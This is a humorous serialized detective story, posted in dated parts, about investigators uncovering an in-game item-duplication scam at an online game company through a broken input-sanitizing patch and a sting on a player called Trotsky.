Sometimes I just want to smack Scrap.“We got a hot tip from another player in the game about this minotaur character named ’trotsky’” Ken said as he panned around the area. The minotaur was in the middle of killing several small monster-type characters using some sort of magical flash.

“Lady luck is favoring us today it would seem.” I thought to myself.

“Ken, where exactly did this tip come from, and what did they say?” I asked.

“A player that was killed by trotsky sent an email to our support address and reported him. Apparently trotsky approached him in the game and was trying to arrange some sort of a sale involving level 50 magical powers.” Ken said as he zoomed in on the minotaur. “To make matters even more interesting, trotsky is one of many names this player has used. His first two names ’lightbringer’ and ‘godofdeath’ should ring a bell with you.”

I thought for a moment. “Holy half-price mochas… those are two of the character names that showed up on those exception reports.” I exclaimed. “Is he aware that you’re following him around?”

“I don’t think so. The character I’m playing as is actually a ‘debug’ character that isn’t viewable to other players. We use these players to troubleshoot problems all the time.” Ken informed us. “I’m not sure why I didn’t think of doing this before.”

I watched the screen intently. No matter how many cases I work on, I always learn something new, aside from the many fine Starbucks locations around the country.

“Are you thinking what I’m thinking?” Scrap asked me, his eyes still lit up like the burning cherry of a half-smoked Newport.

“Well, we’re not at a strip club, so I’m going to say yes. Sting operation.” I replied with a grin. “This works well for drug deals, why not cyber-ware deals? Ken, can you ‘un-cloak’ your character at some point and approach trotsky?”

“Hell yeah.” Ken said. “You want me to do it now?”

“Not right now. Let’s treat this as surveillance for a while and take some notes on his behavior.” I said as I flipped the page of my notepad.

An hour and a few slices of pizza later, we caught a break. Trotsky approached another player.

“No need for hidden microphones in this game.” Ken joked as he hit a key on the keyboard. A transparent console scrolled down over the screen. Ken entered a few debug commands and balloons appeared over the players’ heads.

“That is frick’in cool!” Scrap boomed as he moved in for a closer look. I tried to read the balloons and make some notes at the same time.

_ Trotsky: “Have you found the ‘Sword of Summoning’ yet?”

Player: “Hell no, I’m not even through my second quest yet.”

Trotsky: “I have one for sale. Interested?”

Player: “I have only 200 gold pieces.”

Trotsky: “How much cash do you have?”

Player: “???”

Trotsky: “It’s for sale on eBay. My id is ‘hugekingdomwares’.”

Player: “You can do that?”

Trotsky: “Well, I can. I’ll prove it right now.”

Player: “ok” _

Both characters stood motionless.

“Scrap, is the equipment in place?” I asked as I poked Scrap’s arm.

“Huh? Uh, oh it’s plugged in. Crap I didn’t turn capturing on!” Scrap cried as he ran for the operations center.

Balloons appeared over the characters’ heads once again.

_ Trotsky: “Check out your gold.”

Player: “Woah! I have 2000 gold pieces.”

Trotsky: “Maybe we can make a deal?” _

I was about to make Trotsky an offer that he couldn’t refuse.

Source: archived original

Part VII · Jul 8, 2005

“No dice on the recording, man!” Scrap said as he sped around the corner, nearly knocking me down. “We missed whatever just went on, but we’ll get anything new! It’s dumping to the external firewire drive, so we have lots of bytes to burn.”

I motioned for Scrap to approach me and whispered some instructions in his ear.“Chief, not on the first date!” Scrap joked as he pulled a pack of smokes from his pocket. “I’ll get right on that.”

Scrap exited the room with a crisp crackle of his Zippo lighter flinging open. He really wanted a smoke badly.

“Ken, anything else from our balloon buddies on the screen?” I asked, peering over Ken’s shoulder.

“Not yet. It would appear that the other player is thinking about Trotsky’s offer, or maybe he’s taking a bathroom break or something.” Ken replied as he increased the view magnification of his character. The technology behind Huge Kingdom was astounding.

“You can take a leak in cyberspace?” I joked, staring intensely at Ken’s screen.

“That’s one feature I won’t be submitting to management.” Ken responded.

Within a few minutes, our virtual couple started to communicate again.

Player: “Couldn’t I get in trouble for this?”

Trotsky: “No. Trust me on this. Think of me as a God in this game. What I say goes. This place revolves around me!”

_ Ken almost jumped out of seat.

“No way! No frick’in way! I can’t believe he said that!” Ken said as he slammed his fist into the desk. “That egotistical bastard!”

I was starting to think that “project ownership” meant something spiritual to these folks at MMM. Not that it would be a bad thing.

“You say that like you know the fellow with the pointy horns.” I said, carefully watching Ken’s expression.

“That bastard! It’s got to be Duke! Duke Skyscraper! That little prick.” Ken exclaimed while making a really nasty “bitter beer face”.

“Duke. That was one of the programmers that was terminated from MMM, correct?” I asked.

“Yes, and thank every Deity in heaven for that. Duke was a real piece of work. He worked on the core code of the game, or the ’engine’ as we called it. The guy was brilliant, but his ego was so large he had to sit in the chair next to him at meetings.” Ken replied.

Several programmers in cubes near Ken’s desk could be heard snickering and agreeing with Ken’s observations.

“Yo, yo, yo!” Scrap chanted as he once again tried to run into me upon entering the room. Scrap had his laptop in his hand and was busy flipping through PDF documents containing screen shots of web browser windows.

“Ken, call Steven and tell him I want to speak with him immediately. We’re going to have an impromptu meeting of the minds.” I said as I took the laptop from Scrap’s hands.

“A meeting? What about?” Ken asked.

“My little offer to Trotsky. But I’m going to need to use your Paypal account.” I replied.

Source: archived original

Part VIII · Jul 11, 2005

“Let me see if I understand this correctly.” Steven said as he paced around the conference room. “You want to approach this ‘Trotsky’ guy and buy some Huge Kingdom wares from him?”

“Yes.” I said. “We need to establish whether or not Trotsky really can do what he claims. After we’ve established this, we’ll move onto the next phase of the investigation.” Steven was quiet as he mulled over my words. “I’m going to need to talk to Ronald about this. I’ll be back in a little while.”

“Understood.” I said as I watched Steven leave the conference room.

I grabbed Scrap and motioned for him to walk with me. We left the conference room and proceeded to the Huge Kingdom operations center.

“I want you to look at the capture that was taken during Trotsky’s little deal with that player.” I said. “Grab Ken and that programmer that was on our contact list.”

“Chuck?” Scrap asked with a squint of his left eye.

“That’s the one. Break the traffic down for them, don’t miss anything. We need to grab any possible artifacts from that traffic.” I emphasized as we entered the operations center.

“Got it. You want to go over some of the traffic with me?” Scrap asked as he nervously played with his Zippo again.

“I have something else that needs my attention.” I said as I backed out of the operations center doorway. “Remember, find the needle in the haystack.”

“Dude, that’s a BIG haystack.” Scrap said as he sat down in front of his monitoring laptop. “And me without my pitchfork.”

I wandered back to the conference room and opened up Scrap’s laptop. My eyes grazed over the PDF documents that Scrap had made out of his web browser windows. Scrap had done exactly what I asked him to do. He had found several Huge Kingdom items for sale on eBay, all were for sale by a single seller ‘hugekingdomwares’. The seller had a very low feedback score of 23.

Surely this seller hadn’t sold 23 Huge Kingdom items already!

A quick flip of the latch on my trusty Powerbook and I was browsing to eBay to do a little merchant research.

I located one of the items that Scrap had found, and then clicked the “View seller’s other items”.

The item list read like a character’s inventory sheet.

** S xxxxxxxxxxxx Level 30 Wand of Wonder

S xxxxxxxxxxxx Level 35 Staff of Serpents

S xxxxxxxxxxxx Level 50 Spell of Confusion

S xxxxxxxxxxxx Level 75 Medallion of Murder

B xxxxxxxxxxxx Phoenix Coyotes Jersey Signed Entire Team

S xxxxxxxxxxxx Level 20 Boots of Blunder

B xxxxxxxxxxxx Phoenix Coyotes Hockey Stick Signed Entire Team

** Interesting. Trotsky seemed to have a penchant for Phoenix Coyotes signed memorabilia.

“Chief!” Steven said in a firm voice so loud that I jumped in my seat.

“Steven. What’s up?” I asked as I scribbled more notes on my notepad.

“Ronald said it’s a go.” Steven said as he made a ’thumbs up’ with his left hand.

Time to see how greedy Mr. Trotsky was.

Source: archived original

Part IX · Jul 12, 2005

“Die Elvish scum!” Ken was yelling as he laid waste to a group of small creatures that were attacking his character with swords.

I glanced at Ken’s character panel on the screen and admired “Centslayer”. He was playing as a level 10 Centaur and apparently enjoying himself.

“I’m guessing that you’re out of debug mode and letting the rest of Huge Kingdom know you’re here to kick ass and chew bubble gum?” I joked.“Yeah baby, and I’m all out of bubble gum!” Ken said, completing my movie reference. It didn’t take a second guess to figure out that Ken was a true geek on more levels than computer networking.

“Where’s our good friend Trotsky?” I queried while taking a seat next to Ken.

Ken picked up some gold pieces that the Elves were offering to spare their lives and sped off to a portal pad. Portal pads were used in Huge Kingdom to move between “continents” in the game.

“He’s in the sand desert recruiting female friends.” Ken replied in the middle of a large flash of light as the portal was engaged. “This will only take a second…”

Less than a minute after appearing on the portal pad in the sand desert, Ken found Trotsky amongst a group of Amazon warriors.

“The dude has style, I’ll give him that.” I commented as I admired the Amazon wardrobe. “I wonder how many of those Amazons are forty-something men sitting in front of their computer in their underwear?”

“You don’t want to know, man. Ninety-percent of our players register as males. Do the math!” Ken exclaimed as he zoomed in on Trotsky’s location. “There’s our buddy!”

Trotsky was having a private conversation with one of the Amazons.

“Ken, can you kick on your magical bugging device or whatever you call that cool balloon monitoring thing?” I asked.

“Say no more.” Ken said as he flipped down the developer console and entered in some debug commands. Balloons once again appeared over all the players heads.

** Trotsky: “Seriously! $1000 this week alone. I’m making a fracking killing. I’m going to have no problem making it to the all-star game this year.”

Amazon: “You are amazing. Am I getting dinner out of this?”

Trotsky: “More than that if you want.”

Amazon: “Let’s start with dinner.”

** “Before this turns into a bad episode of ‘The Sims’, let’s approach Trotsky and ask about buying something. Ken, what would be most valuable to a Centaur?” I asked.

“The Shield Of Redemption. It increases almost all of my magic skills and reduces the impact of magic attacks against me by twenty percent.” Ken proudly replied.

“Let’s buy one.” I suggested as I took a piece of paper out of my notepad.

Ken approached Trotsky and initiated chat.

** Ken: “Hey, I’m looking for an item. Can you help? I’m kind of new around here.”

Trotsky: “Maybe. Whatcha looking for?”

Ken: “My friend is a Centaur also and he has this thing called a ‘Shield Of Resumption’”

Trotsky: “You mean ‘Shield of Redemption?”

Ken: “Yeah, lol. That’s it.”

Trotsky: “What a noob. lol. Yeah I have one. What do you have to trade?”

Ken: “I just killed a mess of Elves. I have one thousand gold pieces!”

Trotsky: “I don’t take gold. Make me an offer in American dollars.”

Ken: “??? You can do that on here?”

Trotsky: “No, I mean we do the deal outside of the game and I give you the shield.”

Ken: “I have no idea how to do that.”

Trotsky: “You want the shield or not?”

Ken: “How do I know you really have the shield?”

Trotsky: “I’ll drop it on the ground over there by that cactus. You can look, but don’t touch it. If you grab it, I’ll kill you instantly.”

Ken: “Sure of yourself?”

Trotsky: “That just cost you 20 life points.” **

Ken glanced at his character panel.

“Son of a gun. He just drained me 20 points.” Ken moaned.

I grabbed Ken’s left hand before he could type.

“Hold up. We’re going to move things ahead a little faster than planned. Tell him this.” I said as I handed Ken some scribbled notes.

“Are you out of your mind?” Ken asked, his eyes as bright as a wizard’s fireball spell.

“Oh, I’m dead serious.” I replied.

Source: archived original

Part X · Jul 20, 2005

Ken read the note that I handed him and proceeded to place both of his hands back on the keyboard. He froze, as if in a complete state of shock.

“He’s gone! What the hell?” Ken asked as he panned his character around Huge Kingdom. “He just frick’in disappeared!”

“Think we spooked him?” I asked. This wouldn’t be the first time that I played my ace card too fast and ended up scaring away the fat cats from the poker table.“Dunno. But he’s not in Huge Kingdom anymore. Crap!” Ken complained as sunk into his chair. “What’s the plan, Chief?”

“We rest.” I said. “We’re calling it a night for now, it’s late. I’ll shoot Steven an E-mail when I get back to my hotel room and let him know our progress.”

I exhaled deeply and left the room. A few minutes later I was walking into the operations center and disturbed by a strange noise coming from the backside of a server cabinet. As I walked around the cabinet, I was greeted with a pathetic sight. Scrap was sitting on the floor, back pressed up against the cabinet, laptop on his thighs, and snoring so loud that he could be heard over the noise of several Sun E450 servers nearby.

“Scrap!” I said as I nudged his leg with my foot. “SCRAP! WAKE UP!”

Scrap opened an eye and jumped to his feet so fast that he almost dropped his laptop on the floor.

“Sorry man, I was reviewing the traffic with a couple of peeps and I must have drifted off.” Scrap lamented as he yawned into his hand. “Are we calling it a night?”

“Affirmative.” I responded as I picked up my gear. “Find anything yet?”

“Man, I guess it would depend on how you define ‘something’. Chuck and I were pouring over that last dump and weren’t having a lot of luck. Ken was over with you, so we weren’t able to get his expertise on where some of these network addresses were or what they were for that matter.” Scrap replied as he dug through his pockets for his trusty pack of Newports. “And I think I’m out of smokes. Nice.”

We loaded our gear into my rental car and headed back to the hotel for some relaxation and room service. I had really lucked out on the suite that I was staying in. It had two queen size beds, a huge bathroom, a patio for Scrap’s smoke urges, and high speed internet connectivity.

I was finishing off a sandwich and scribbling away in my notepad when I heard Scrap start typing rapidly on his laptop and start mumbling under his breath.

“What’s up?” I asked Scrap as I threw an empty water bottle at his head.

“You know what I noticed when I was reviewing this traffic earlier?” Scrap queried as he chucked the water bottle back at me.

“Was that before you fell asleep?” I joked.

“Nothing. I mean, there really wasn’t anything out of the ordinary in the traffic dumps that we isolated. Chuck was scratching his head the whole time.” Scrap said as he closed the top of his laptop. “Just doesn’t jive, man.”

I nursed my water bottle for a few seconds, dedicating some brain computing cycles to the matter at hand. “Scrap, nothing looked out of the ordinary because we were expecting to see something out of the ordinary.”

“Duh.”

I tapped my water bottle on the desk. “What if we should have been looking for something extraordinary?”

“What?”

“Listen. Think of this as a simple network security problem. If you break into a system, let’s say a system that is very useful, and you want to have complete access to that system anytime you want, but you don’t want anyone to detect that you have that access, what would your course of action be?” I asked Scrap.

“Dude, that’s textbook. You keep exploiting the same vulnerability that let you in, hoping that nobody else finds it. You install a backdoor or something.”

“Or…” I began. “You make your traffic look like it belongs there.” I said, raising an eyebrow.

Source: archived original

Part XI · Jul 21, 2005

Scrap threw his water bottle against the wall, nearly knocking the coffee pot off of the table.

“This haystack just gets uglier and uglier, man.” Scrap whined.

“Don’t they all? I’m going to complete the rest of my interviews tomorrow. I want you to get with Chuck and look at all the traffic captures again. Approach it like you were troubleshooting an application error or something. Make no assumptions about what you’re looking for, and the artifacts might just appear in front of you.” I said. “Ok, Indiana Jones. You E-mailing Steven all of this? Ask him to get some bagels or something for the morning.” Scrap said as he jumped on his bed. “I’m wiped.”

I was still wide awake and in the process of transferring my written notes into case file collections on my Apple Powerbook while simultaneously composing a status E-mail to Steven.

** Steven, An update on today’s activities, and an agenda for tomorrow: … I need to finish interviewing the rest of the staff, especially anyone associated with the development of Huge Kingdom. Please have Mr. Slinkpips prepare an interview schedule, and keep it confidential. … Scrap will need access to Ken Banobi for the entire day. … Execution of the sting operation that we discussed will rely on the availability of the suspect character and his willingness to cooperate. … I need your permission to pull salary scales on the entire company. I will explain this later.

P.S. Scrap would like some bagels

Chief **

I closed the lid of my Powerbook and watched it instantly go into sleep mode. It was time for me to do the same.

The next morning came entirely too fast and found both Scrap and myself a bit sleepy-eyed but eager to continue with the investigation.

“Did you remind Steven to get some bagels, man?” Scrap asked as we packed our gear into my rental car.

“Yes, I did. Good grief, go to the continental breakfast over there in the lobby and get your own bagel.” I said, pointing to the lobby of the hotel.

“SWEET!” Scrap said as he ran off. I guess I was packing the car by myself. An hour later we were walking through the doors of MMM and were greeted by receptionist Barbie.

“HELLO! How are YOU? Glad to see YOU! Would you like some COF-FEE?” Barbie asked in between answering phone calls.

“Sure.” I replied as she buzzed us into the hallway that led to our makeshift office.

“Chief! Hey, not to bombard you this early in the morning but our buddy Trotsky is back in the game and he’s wheeling and dealing stuff all over the place!” Ken announced, nearly tripping himself as he leapt through the conference room door. “And, we appear to have a new problem.”

“Oh no! Steven forgot the bagels!” Scrap said, wincing with every word.

“What…” I began.

Ken stared at me with a look of disbelief. “Chief, I don’t think he’s alone this time.”

Source: archived original

Part XII · Jul 26, 2005

“The little bastard has friends!” Ken said as he panned around the Huge Kingdom landscape.

We were standing behind Ken and watching the events unfold. Ken was playing as his debug character, invisible to the rest of Huge Kingdom.

“So, all of these friends of Trotsky are selling merchandise too?” I asked.

I had been standing behind Ken for about five minutes and hadn’t seen a single deal go down. Ken leaned back in his chair and glanced towards me.

“I only knew that they were his friends when I saw them group over by the Aged Oak over in the forest kingdom.” Ken explained. “I crept up on them, opened up the message monitoring and it was quite clear to me that this was some sort of an organized operation.”

I raised an eyebrow.

“Ken, tell me you saved a transcript.”

Ken brought down his virtual console screen and scrolled through the console messages.

“Paydirt! Yeah, I got it. Hold on.” Ken said as he hit a few keys on his keyboard and his game screen shrunk to a 640x480 resolution window.

“Nice.” I said.

“Yeah, it’s cool. The transcript is over on that printer.” Ken announced with a quick point of his index finger towards a large HP Laserjet printer.

I retrieved the transcript from the printer and took a few moments to review it.

The last conversation piqued my interest:

** Trotsky: “Yeah, it’s awesome man. I can’t believe you totally scored on that soloman sword of severance.”

PlayerZ: “LOL Let me tell you he was so happy to finally be able to slay the pit dragon, he almost wanted to kiss me.”

GigglesME: “Yeah, like anyone would want to kiss you. Fool.”

Trotsky: “Dude, you are 0wn3d!”

PlayerZ: “Whatever. I just PP’d you the cut. I need help on the weapons codes cuz some of them aren’t working and I can’t sell wut I can’t find.”

GigglesME: “Funny because I don’t have a PP email that says I got the money.”

PlayerZ: “I sent it to Trotz account.”

Trotsky: “DAMMIT u are supposed to send it to G’s account. Reverse it NOW.”

PlayerZ: “Sorry. Calm down.”

GigglesME: “bbl. Gots to run.” **

This case was getting more bizarre by the minute. I approached Scrap.

“Kick it with Ken in here, take notes, keep your eyes open. I’ll be back.” I whispered as I walked out of the room. I was heading towards the human resources conference room.

I took a seat at the end of the conference room table. A quick glance at my watch showed 09:00 on the dot. Slinkpips was running late.

I entertained myself with a quick game of Tetris on my cell phone.

“This puzzle has more disjointed pieces than the Windows operating system.” I joked.

A noise at the conference room door distracted me. It was Slinkpips!

“Chief, hello, sorry I’m late. It took me longer than expected to pull together the information that you asked Steven for.” Slinkpips said as he pushed a brown envelope across the table. “It’s all there as you requested. I have provided the complete salary scales for all current and terminated employees, and there are meeting notices for your staff interviews that start in…”

“When?” I asked, noticing that Slinkpips didn’t finish his statement.

A knock could be heard at the door.

“Right about now!” Slinkpips said as he stood up and opened the door.

I was about to start a marathon interview session, and quietly grabbed my Powerbook out of my laptop bag. I opened the lid, typed in my password and glanced at the person sitting across from me.

“HELL-O! How are YOU?”

It was receptionist Barbie.

Source: archived original

Part XIII · Jul 27, 2005

Slinkpips closed the door behind him. Barbie sat perfectly still in her chair, her large blue eyes stared a hole through my head.

“Barbie, why are you here today?” I asked, my fingers gliding across the trackpad on my Powerbook. The large blue eyes disappeared for a few brief seconds as Barbie blinked, each eyelid movement an attempt to jumpstart a thought from her lovely head.

“Um, I have no clue!” Barbie responded.

I couldn’t argue with her statement.

BEEP

A quick glance at my cell showed that I had a text message waiting from Scrap.

“Excuse me.” I said as I returned the message to Scrap.

I cleared my throat. “Barbie, I was looking through your file and was surprised to see that at one time you were on the product development team for Huge Kingdom. You were a quality assurance tester?” I asked.

“Oh, yeah! I did that for a while but got bored and decided to be on the phones and work my way up to personal assistant someday. I’m a people person, you know?” Barbie said, blinding me with her smile.

“Sure. Ok. During your testing, were you responsible for finding any juicy bugs? Tell me something exciting that happened while you had that job.” I said with a smile.

Barbie thought for what seemed to be an eternity.

“Like, I found a cool bug with the transporters. They are these big blue circles that you step in and you’re like ‘WEEEEEEEE!’ as you’re zoomed over to another part of the kingdom. Anyway, if you clicked on your inventory panel while you were transporting all kinds of weird stuff happened to your character and you’d freak out! I got a free dinner from Mr. Krump for finding that.”

I popped a few notes into my Powerbook. “No kidding? Wow, that’s cool. How fast was that bug fixed?”

“Okay, I’m not sure… I found it right after my little niece’s birthday party. OMG she is SO CUTE. That would be, ummm, ten, carry the one… it was about two weeks!”

That sure was a lot of math to figure that out. Now I was the one blinking.

Barbie and I conversed for another fifteen minutes. About her niece.

BEEP

“Excuse me.” I said as I reached for my phone. Time to send another reply to Scrap.

“Barbie, I have to get moving on my interviews. I want to thank you for taking the time to talk to me.” I said as I shook her hand, the motion nearly making her dizzy.

“OK! BUH-BYE!”

I sat back down and struggled to remember the screensaver password for my Powerbook.

“Holy cripes. Whatever she has, it’s contagious.” I moaned.

Cue the next knock on the door as Slinkpips made another appearance.

“Hi Chief! Chuck is here to see you!”

I rubbed my eyes. This was going to be a long morning. “Bring him on in.”

Chuck was your typical geek programmer. Goatee, shoulder-length hair, fashionable glasses and about three days of stubble. The smell of cigarette smoke, mountain dew and McDonalds breakfast sandwiches permeated the air.

“Yo.” Chuck said as he extended his hand.

“Hi there.” I responded. “Do you know why you’re here?”

“Hell yeah.” Chuck said. “And I got what you need.”

I paused.

“And exactly what would that be?” I demanded.

“I stayed up all night last night, and I got the goods on your Minotaur.”

Source: archived original

Part XIV · Aug 2, 2005

“Do tell.” I said as I sat back in my chair and studied Chuck’s expressions for hints of sincerity.

“Alright, well you know how Scrap and I were pouring over those traffic dumps last night and weren’t really finding anything, right?” Chuck asked almost rhetorically.

I nodded in agreement.“Ok, well I was really frustrated when I went home last night and all I could think about was those traffic dumps. So I came back into the office last night with some fresh clothes and I’ve been at it since the wee hours this morning, and I found something that I think you’ll find very interesting.” Chuck said.

I folded my arms in front of me, a bit perplexed.

“Whatcha got?” I asked.

“Well…” Chuck began as he pulled some printouts from his back pocket, “this is a normal capture of traffic that shows that a player has acquired a new item in the game and has added it to their inventory.”

“Is that XML?” I asked as I read through the traffic capture. It sure looked like XML to me.

“Close. We call it HML for Huge Markup Language. All inventory inquiry transactions are performed via HML transactions over our encrypted connection between the client and the servers.” Chuck revealed with a smile. “Remember, the clients are stupid. They are just a window of what is happening on the servers with regards to inventory.”

My eyes were growing bigger as I examined more of the transaction. Things were really making sense now regarding the inner workings of the game.

Chuck wasn’t done.

“Now! Look at this capture, Chief.” Chuck said as he unfolded another printout.

“Notice anything different?”

My eyes scrolled through the new capture, and jumped back periodically to the other printout as a reference.

“Holy sh…” I mumbled. If I was reading this capture correctly, there was a huge security hole in the inventory function of the game, and we had the proof right in front of us thanks to Chuck.

“Chuck, if I’m reading this right, and I think I am… the client is issuing commands embedded in this HML language that the servers are accepting, interpreting and executing?” I asked.

“It would appear so, and if you look at those commands you’ll notice that they contain a lot of game variable names. Only programmers and testers should know those variables, especially the item codes.” Chuck said.

“Couldn’t these variables be found by some attempted reverse-engineering of some sort? Debugging executables? Something like that?” I pondered out loud.

“Ordinarily, I would completely agree with you. But there is way too much detail in that request. We are capturing this between the boxes that handle the encryption and the servers that do all the work. We’re looking at every component of the transaction as it left the client. There’s not much doubt that somebody was very precise in what they were doing.” Chuck said as he stared off into the ceiling.

“Why do I get the feeling that this scenario is all too familiar to you?” I asked as I raised my eyes over the printouts and looked at the bottom of Chuck’s newly-exposed chin.

“Well, it should be familiar. I fixed this as a bug report eons ago.” Chuck responded.

“Whose bug report was it?” I asked.

“She just left the room.” Chuck replied.

Source: archived original

Part XV · Aug 4, 2005

Chuck’s interview hadn’t been over for more than ten seconds before I called Scrap on my chimp phone.

ring

“Yo.” Scrap answered.

“Mission accomplished? According to your text messages, things went great?” I queried.

“Not a prob, bro! I have an entire dump of the CVS for Huge Kingdom on the scraptop, and I checked on your special request - everything is rock’in!” Scrap answered with total enthusiasm.

“Awesome. Anybody see you taking care of my special request?” I asked.

“Nope. I’m like the mist rolling over the stage at a fine Vegas strip club.” Scrap said melodically. “Except I didn’t make contact with any female life forms.”

“I’m sure they are grateful, dude. Grab your scraptop and meet me at Starbucks. Time to round third base.” I said while rubbing my eyes.

“Chief, you know I don’t go past first base on a date.”

Sigh.

By the time I had finished my yammering with Scrap, my monkey brain was crying for coffee in the worst possible way. My eyes were hurting, my ass was asleep, and my attitude was waning. I grabbed my Powerbook bag and headed for the parking lot.

“Like, um, do you need another restaurant recommendation?” I heard as I passed receptionist Barbie.

“No thanks - I’m going to work from home for a while.” I replied as I opened the door with my shoulder.

Hey, Starbucks is just like home to me, and there just happened to be one within walking distance about a block away. Perfect.

Scrap was waiting outside for me on the patio, coffee in one paw and a half-smoked Newport in the other.

“Wassup!” Scrap said as he scanned the screen of his scraptop furiously.

A few minutes later I had a frothy frap on the table and I was waiting for the results of Scrap’s CVS-foo to answer some pretty important questions.

“Hell yeah, man. Hell yeah. I found the patch. I found that freak’in patch.” Scrap said, raising his arms in the air and making little devil ears with his fingers.

“No kidding?” I said as I stole a glance at the screen. I referenced the case notes on my powerbook from my conversation with Chuck. Sure enough, the patch version numbers matched.

“Dude, who checked in the patch?” I asked, unable to find the information in front of me.

“It was Chuckie-poo alright. He checked it in about… two days after it was reported.” Scrap replied, lighting up another Newport.

Interesting.

Source: archived original

Part XVI · Aug 9, 2005

“Ok, so if we run a ‘diff’ on that code with the final production code, what’s missing? What has changed?” I wondered out loud.

“Chief, I hate to be the negative newman here, but nothing changed according to CVS.” Scrap spouted off. “However, I got a surprise for you. And it’s not even your birthday, man!” Scrap rummaged around his laptop bag and pulled out a shiny gold CD. He extended his monkey paw towards me, a grin slowly creeping across his face.

“What’s this?” I asked Scrap. There wasn’t any writing on the CD.

“I grabbed a client CD from Ken’s desk. Want to play a little Huge Kingdom?” Scrap asked as pulled his spare Windows laptop from his laptop bag.

“I’ll watch you, I have coffee that needs drinking.” I responded in between sips of perfectly prepared frap goodness.

Scrap installed the software, set up an account using my credit card, and found himself wandering around a grassy plain.

I scrolled around the notes on my powerbook from Chuck’s interview, and had Scrap try to duplicate the console commands needed to exploit the inventory bug. Scrap tried for almost fifteen minutes before we found a crucial step in the process. Each command had to be preceded by a single apostrophe and ended with a single apostrophe.

“Check out Scrapitarius, man. Not only do I have all the gold and weapons of my choosing, but I’m about to go talk to that hottie amazon over there!” Scrap proclaimed.

I was trying not to laugh during the entire time. One can only see Scrap embarrassed by virtual women so many times in one sitting.

My eyes reverted back to my notes, and then over to Scrap’s scraptop that I had placed side-by-side next to my powerbook for quick reference.

“Hey Scrap.” I said.

“Yo! Not now man, I’m thirty seconds from getting this girl’s phone number.” Scrap whined.

“Look at this patch again. Isn’t this thing supposed to intercept single apostrophes and take them out of the HML?” I asked.

Scrap reluctantly placed his game on hold and glanced at the code.

“Aw man, that is smart! That is way smart! He parses the HML, puts the values into memory, parses out the single apostrophes and other escape characters, but he never writes it back out! It’s going through untouched dude! What an idiot.” Scrap said as he shook his head.

Chuck’s patch was broken.

Source: archived original

Part XVII · Aug 15, 2005

“That’s just rude, man.” Scrap whined as he looked up from his laptop.

Scrap had been continuing the great adventures of Scrapitarius for the past hour as I sat in silence, staring at my notes.

“Rude? What?” I asked as I raised a single eyebrow.

“I was ten seconds away from getting her phone number, and then she says that my sword isn’t big enough.” Scrap said in disgust.I struggled to contain my laughter as I looked back down at my notes.

A few seconds later, a familiar voice rang in my ear and a cold coffee frap was sat on the patio table in front of me.

“This one is on the house, hon.”

The voice belonged to the wonderful girl behind the Starbucks counter that had prepared our drinks during the afternoon.

“You know, I really enjoy making the drinks a lot better than running this place. Getting out of management was the best thing that ever happened to me! Well, aside from the whole ‘money’ thing, but I’m certainly happier now.” she said as she wandered back through the patio door, carefully dodging Scrap’s blatant stares.

Wait a second.

I grabbed my laptop bag and fumbled around inside until I found the folder of human resources files that Slinkpips had provided me.

“Dude! You are so cut off from the frap! Are you high or what?” Scrap declared as he closed his laptop and lit up another cigarette.

I scattered the contents of the folders around the table, and carefully selected the spreadsheet of employee compensation, and some select employee files. I flipped through the papers quickly, scanning for something I completely overlooked.

“You know, when I talked to Slinkpips, he said that they terminated two programmers for non-performance.” I began. “But he failed to mention something that is right here in the records … and that could be because of the way I phrased my question.”

“Oh man, what?” Scrap asked as he leaned over the table and nearly impaled himself with the straw extruding from my drink.

“How does a QA analyst walk away from a job that pays nearly twenty thousand more dollars to take an admin position?” I asked.

“Barbie? She said that’s what she wanted to do, eh?” Scrap replied.

“That would almost make sense, but according to a performance report shoved in the back of her file here, she was demoted for non-performance.” I said as I handed the sheet to Scrap.

“Ok, ok. Hey I’ve been let go from a few jobs and I haven’t exactly owned up to the fact that I was let go.” Scrap announced.

“And she could have left the company, but she didn’t.” I said as I thought things through.

“What time is it Scrap?”

Scrap stared at his watch.

“Nearly five o’clock! Wow, we’ve been here a while.”

I started packing my notes back into my laptop bag and motioned for Scrap to do the same.

“Woah, man. Where are we going?” Scrap wondered out loud.

“To see if my special request you took care of paid off.”

Source: archived original

Part XVIII · Aug 19, 2005

“BUH-BYE!”

Receptionist Barbie was on her way home for the evening and graciously held the lobby door open.

“See you later!” Scrap replied, grabbing an eyeful of Barbie as he narrowly missed being smacked by the closing door in front of him.“Do me a favor …” I said to Scrap as I grabbed his arm. “Walk around, do a head count, find out who is still here.”

Scrap nodded and wandered off down the farthest hallway.

I made my way down the main hallway and found Ken at his desk, still wandering around the virtual landscape of Huge Kingdom.

“This is really frustrating.” Ken complained.

“Eh?”

“Trotsky made several appearances this afternoon. A few deals were made. By the time I approached him, he was gone.” Ken explained.

I stood and watched Ken monitor conversations between several players.

“Yo.”

Scrap had returned and leaned towards me like he was going to tell me a secret.

“Three people left. Ken, Steven and Chuck. Everybody is busy.”

I returned Scrap’s gaze, and without hesitation gave him the ’thumbs up’ signal. Scrap wandered off, and I headed towards Steven’s office.

“Chief! I was just reading the status E-mail that you sent me last night. Very intriguing.” Steven said enthusiastically.

I closed the door to Steven’s office behind me and sat down in a nearby chair.

“I’ve been chasing this rabbit for a few days, and I believe we’ve found the rabbit hole. My question to you is whether you want me to point you to the rabbit hole, or whether you want me to see how far the rabbit hole goes.” I said with a smile.

Steven sat quietly in his chair and stared at the ceiling.

“Ronald said he wanted a name, but he wanted enough evidence and details to justify him terminating a person’s employment.” Steven explained. “Do you have that evidence?”

BEEP

“Excuse me, Steven.” I said as I glanced down at my cell phone and read a text message from Scrap.

A smile crept over my face.

“Steven, I think we should have a meeting with Ronald tomorrow morning.” I said.

“Because … ?” Steven asked.

“Scrap just found the proverbial gun, complete with smoke.”

[Aside]

Ok investigators …

what was the special request I had Scrap take care of, and what did he find?
who is holding the smoking gun?
who is getting fired?
where did they slip up?

[/Aside]

Source: archived original

Part XIX · Aug 25, 2005

Conclusion - Part I

“Good morning everyone.” I said as I entered the conference room. Steven and Ronald were seated at the conference table with their notepads and pens ready.

“What do you have for us, Chief?” Ronald asked.

I plugged my Powerbook into the presentation projector and brought up a prepared presentation that I had been up all night writing.“Huge Kingdom has a huge flaw that has permitted several individuals to manipulate inventory items in the game. The flaw was identified during development by QA analyst Barbie and corrected by one of your programmers, Chuck.” I explained.

“Chief, I’m confused. If the flaw was fixed, how was it still being exploited?” Steven asked.

“A strange string of events happened leading to the answer. The flaw was fixed by Chuck and checked into the source tree. This fix was compiled into the early beta builds of the Huge Kingdom software. Several weeks before Huge Kingdom went gold, several programmers were terminated by MMM and one QA analyst was horizontally transferred to an administrative assistant position.” I answered.

